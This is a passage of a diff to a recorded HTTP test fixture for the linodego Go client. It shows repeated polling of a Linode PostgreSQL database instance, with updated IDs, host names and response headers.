"lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18461,16 +21386,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:46:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18486,7 +21414,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18502,18 +21430,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18526,16 +21454,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:46:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18551,7 +21482,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18567,18 +21498,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18591,16 +21522,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:47:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18616,7 +21550,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18632,18 +21566,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18656,16 +21590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:47:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18681,7 +21618,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18697,18 +21634,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18721,16 +21658,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:47:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18746,7 +21686,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18762,18 +21702,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18786,16 +21726,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:47:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18811,7 +21754,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18827,18 +21770,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18851,16 +21794,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "687" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:48:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18876,14 +21822,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"postgresbackupforlinodego","target":"primary"}' + body: "" form: {} headers: Accept: @@ -18892,10 +21838,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups - method: POST + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 + method: GET response: - body: '{}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18908,21 +21862,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "2" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:48:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -18931,7 +21890,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18947,10 +21906,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -18963,23 +21930,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:48:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -18988,7 +21958,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19004,10 +21974,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19020,23 +21998,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:48:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19045,7 +22026,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19061,10 +22042,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19077,23 +22066,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:49:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19102,7 +22094,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19118,10 +22110,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19134,23 +22134,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:49:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19159,7 +22162,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19175,10 +22178,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19191,23 +22202,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:49:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19216,7 +22230,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19232,10 +22246,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19248,23 +22270,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:49:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19273,7 +22298,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19289,10 +22314,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", 